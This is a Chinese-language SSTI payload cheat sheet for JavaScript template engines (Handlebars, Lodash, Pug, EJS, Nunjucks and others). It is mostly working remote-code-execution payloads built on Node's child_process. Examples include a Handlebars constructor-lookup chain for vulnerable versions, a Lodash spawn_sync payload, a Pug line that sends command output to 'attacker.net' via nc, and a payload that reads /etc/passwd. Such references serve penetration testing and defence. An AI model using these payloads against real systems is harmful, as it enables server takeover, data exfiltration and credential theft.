跳转至

服务端模板注入 (SSTI) - JavaScript

服务端模板注入 (SSTI) 发生在攻击者可以将恶意代码注入服务端模板,导致服务器执行任意命令时。在 JavaScript 的语境下,当使用 Handlebars、EJS 或 Pug 等服务端模板引擎,且用户输入在未经过充分过滤的情况下集成到模板中时,就可能出现 SSTI 漏洞。

摘要 (Summary)

模板库 (Templating Libraries)

模板名称 载荷格式
DotJS {{= }}
DustJS { }
EJS <% %>
HandlebarsJS {{ }}
HoganJS {{ }}
Lodash {{= }}
MustacheJS {{ }}
NunjucksJS {{ }}
PugJS #{ }
TwigJS {{ }}
UnderscoreJS <% %>
VelocityJS #=set($X="")$X
VueJS {{ }}

通用载荷 (Universal Payloads)

通用的代码注入载荷适用于许多基于 NodeJS 的模板引擎,例如 DotJS、EJS、PugJS、UnderscoreJS 和 Eta。

要使用这些载荷,请将其包裹在适当的标签中。

// 回显型 RCE (Rendered RCE)
global.process.mainModule.require("child_process").execSync("id").toString()

// 报错型 RCE (Error-Based RCE)
global.process.mainModule.require("Y:/A:/"+global.process.mainModule.require("child_process").execSync("id").toString())
""["x"][global.process.mainModule.require("child_process").execSync("id").toString()]

// 布尔型 RCE (Boolean-Based RCE)
[""][0 + !(global.process.mainModule.require("child_process").spawnSync("id", options={shell:true}).status===0)]["length"]

// 时间型 RCE (Time-Based RCE)
global.process.mainModule.require("child_process").execSync("id && sleep 5").toString()

NunjucksJS 也可以通过使用 {{range.constructor(' ... ')()}} 来执行这些载荷。

Handlebars

官方网站

Handlebars 会将模板编译为 JavaScript 函数。

Handlebars - 基础注入

{{this}}
{{self}}

Handlebars - 命令执行

此载荷仅适用于以下 Handlebars 版本(已在 GHSA-q42p-pg8m-cqh6 中修复):

  • >= 4.1.0, < 4.1.2
  • >= 4.0.0, < 4.0.14
  • < 3.0.7
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('ls -la');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Lodash

官方网站

一个现代 JavaScript 实用程序库,提供模块化、高性能以及额外功能。

Lodash - 基础注入

如何创建一个模板:

const _ = require('lodash');
string = "{{= username}}"
const options = {
  evaluate: /\{\{(.+?)\}\}/g,
  interpolate: /\{\{=(.+?)\}\}/g,
  escape: /\{\{-(.+?)\}\}/g,
};

_.template(string, options);
  • string: 模板字符串。
  • options.interpolate: 正则表达式,指定 HTML 插值 (interpolate) 分隔符。
  • options.evaluate: 正则表达式,指定 HTML 执行 (evaluate) 分隔符。
  • options.escape: 正则表达式,指定 HTML 转义 (escape) 分隔符。

为了实现 RCE,模板的分隔符由 options.evaluate 参数确定。

{{= _.VERSION}}
${= _.VERSION}
<%= _.VERSION %>

{{= _.templateSettings.evaluate }}
${= _.VERSION}
<%= _.VERSION %>

Lodash - 命令执行

{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}

Pug

通用载荷也适用于 Pug。

官方网站

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

参考资料 (References)